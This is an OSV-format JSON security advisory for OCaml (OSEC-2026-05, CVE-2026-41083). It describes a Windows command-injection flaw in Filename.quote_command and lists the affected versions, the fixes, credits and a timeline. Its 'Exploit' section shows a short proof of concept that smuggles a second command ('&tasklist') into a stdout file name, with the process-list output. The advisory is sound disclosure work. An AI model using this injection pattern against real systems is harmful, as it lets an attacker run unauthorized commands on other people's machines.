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{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "ocaml {\u003c \"4.14.4\" | \u003e= \"5\" \u0026 \u003c \"5.5.0\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "ocaml",
        "purl": "pkg:opam/ocaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.14.4"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "5"
            },
            {
              "fixed": "5.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "ce6d0f7b67145debec57e296dcc49d8619259198"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "39d3f110eab62ab9f3013bb5f084af2dc3e3bb08"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "d5c65dc0034fbd75f10c6b54028e8b2740a7b189"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        }
      ],
      "versions": [
        "3.07",
        "3.07+1",
        "3.07+2",
        "3.08.0",
        "3.08.1",
        "3.08.2",
        "3.08.3",
        "3.08.4",
        "3.09.0",
        "3.09.1",
        "3.09.2",
        "3.09.3",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.11.0",
        "3.11.1",
        "3.11.2",
        "3.12.0",
        "3.12.1",
        "4.00.0",
        "4.00.1",
        "4.01.0",
        "4.02.0",
        "4.02.1",
        "4.02.2",
        "4.02.3",
        "4.02.4",
        "4.03.0",
        "4.03.1",
        "4.04.0",
        "4.04.1",
        "4.04.2",
        "4.04.3",
        "4.05.0",
        "4.05.1",
        "4.06.0",
        "4.06.1",
        "4.06.2",
        "4.07.0",
        "4.07.1",
        "4.07.2",
        "4.08.0",
        "4.08.1",
        "4.08.2",
        "4.09.0",
        "4.09.1",
        "4.09.2",
        "4.10.0",
        "4.10.1",
        "4.10.2",
        "4.10.3",
        "4.11.0",
        "4.11.1",
        "4.11.2",
        "4.11.3",
        "4.12.0",
        "4.12.1",
        "4.12.2",
        "4.13.0",
        "4.13.1",
        "4.13.2",
        "4.14.0",
        "4.14.1",
        "4.14.2",
        "4.14.3",
        "5.0.0",
        "5.0.1",
        "5.1.0",
        "5.1.1",
        "5.1.2",
        "5.2.0",
        "5.2.1",
        "5.2.2",
        "5.3.0",
        "5.3.1",
        "5.4.0",
        "5.4.1",
        "5.4.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41083"
  ],
  "credits": [
    {
      "name": "Andrew Nesbitt",
      "type": "REPORTER"
    },
    {
      "name": "David Allsopp",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Florian Angeletti",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-78"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-05.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-05.json"
  },
  "details": "The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `\u0026` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.\n\n## Exploit\n\n```bash\n$ opam exec -- ocaml\nOCaml version 4.14.2\nEnter #help;; for help.\n\n# let outfile = \"x\u0026tasklist\" in\n  let cmd = Filename.quote_command \"netsh.exe\" ~stdout:outfile [\"help\"] in\n  ignore (Sys.command cmd)\n  ;;\n\nImage Name                     PID Session Name        Session#    Mem Usage\n========================= ======== ================ =========== ============\nSystem Idle Process              0 Services                   0          8 K\nSystem                           4 Services                   0        168 K\nSecure System                  236 Services                   0    191,468 K\nRegistry                       276 Services                   0      3,428 K\nsmss.exe                       608 Services                   0      1,676 K\ncsrss.exe                      984 Services                   0      5,928 K\n```\n\n## Timeline\n\n- 2026-06-18 release of this security advisory\n- 2026-06-15 release of OCaml 4.14.4\n- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853\n- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org",
  "id": "OSEC-2026-05",
  "modified": "2026-09-10T10:45:00Z",
  "published": "2026-06-18T13:45:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/ocaml/pull/14853"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Windows command execution via filename quotes."
}